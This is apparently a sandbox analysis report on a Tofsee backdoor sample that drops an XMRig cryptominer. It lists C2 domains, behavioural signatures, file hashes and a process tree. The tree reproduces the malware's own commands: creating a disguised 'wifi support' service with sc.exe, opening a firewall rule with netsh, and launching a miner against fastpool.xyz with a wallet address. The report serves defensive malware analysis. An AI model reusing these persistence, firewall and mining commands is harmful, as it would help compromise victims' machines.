Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18/12/2022, 09:14

General

  • Target
    file.exe
  • Size 215KB
  • Sample221218-k7a8ysbc59
  • SHA256 fcd65aa6feca4936d6c185211df169dfdd58d5d8ce3c1d9778247ffd876971ea
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4440
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\kbwkxpfe\
      2⤵
        PID:2028
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\zpvchtxm.exe" C:\Windows\SysWOW64\kbwkxpfe\
        2⤵
          PID:2264
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create kbwkxpfe binPath= "C:\Windows\SysWOW64\kbwkxpfe\zpvchtxm.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3644
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description kbwkxpfe "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2096
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start kbwkxpfe
          2⤵
          • Launches sc.exe
          PID:3228
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1136
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4440 -s 656
          2⤵
          • Program crash
          PID:4564
      • C:\Windows\SysWOW64\kbwkxpfe\zpvchtxm.exe
        C:\Windows\SysWOW64\kbwkxpfe\zpvchtxm.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3280
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:744
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4788
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3280 -s 508
          2⤵
          • Program crash
          PID:3552
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 4440 -ip 4440
        1⤵
          PID:400
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 3280 -ip 3280
          1⤵
            PID:2980

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

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                Downloads

                zpvchtxm.exe

                • Path C:\Users\Admin\AppData\Local\Temp\zpvchtxm.exe
                • Size 14.6MB
                • SHA256 fd3709f634bff715c7b4e580d798464d02749a1af258967ff0263ff6197449ac
                • MD5 SHA1 SHA512 SSDEEP

                zpvchtxm.exe

                • Path C:\Windows\SysWOW64\kbwkxpfe\zpvchtxm.exe
                • Size 14.6MB
                • SHA256 fd3709f634bff715c7b4e580d798464d02749a1af258967ff0263ff6197449ac
                • MD5 SHA1 SHA512 SSDEEP

                memory/744-159-0x0000000001720000-0x0000000001730000-memory.dmp

                memory/744-168-0x00000000025D0000-0x00000000025D7000-memory.dmp

                memory/744-153-0x0000000002000000-0x000000000220F000-memory.dmp

                memory/744-152-0x0000000000190000-0x00000000001A5000-memory.dmp

                memory/744-151-0x0000000000190000-0x00000000001A5000-memory.dmp

                memory/744-156-0x0000000001710000-0x0000000001716000-memory.dmp

                memory/744-146-0x0000000000190000-0x00000000001A5000-memory.dmp

                memory/744-162-0x00000000017F0000-0x00000000017F5000-memory.dmp

                memory/744-165-0x0000000006F40000-0x000000000734B000-memory.dmp

                memory/3280-150-0x0000000000400000-0x0000000000460000-memory.dmp

                memory/3280-149-0x000000000064E000-0x000000000065F000-memory.dmp

                memory/4440-133-0x0000000000570000-0x0000000000583000-memory.dmp

                memory/4440-132-0x0000000000623000-0x0000000000634000-memory.dmp

                memory/4440-143-0x0000000000623000-0x0000000000634000-memory.dmp

                memory/4440-144-0x0000000000400000-0x0000000000460000-memory.dmp

                memory/4440-134-0x0000000000400000-0x0000000000460000-memory.dmp

                memory/4788-172-0x0000000000800000-0x00000000008F1000-memory.dmp

                memory/4788-177-0x0000000000800000-0x00000000008F1000-memory.dmp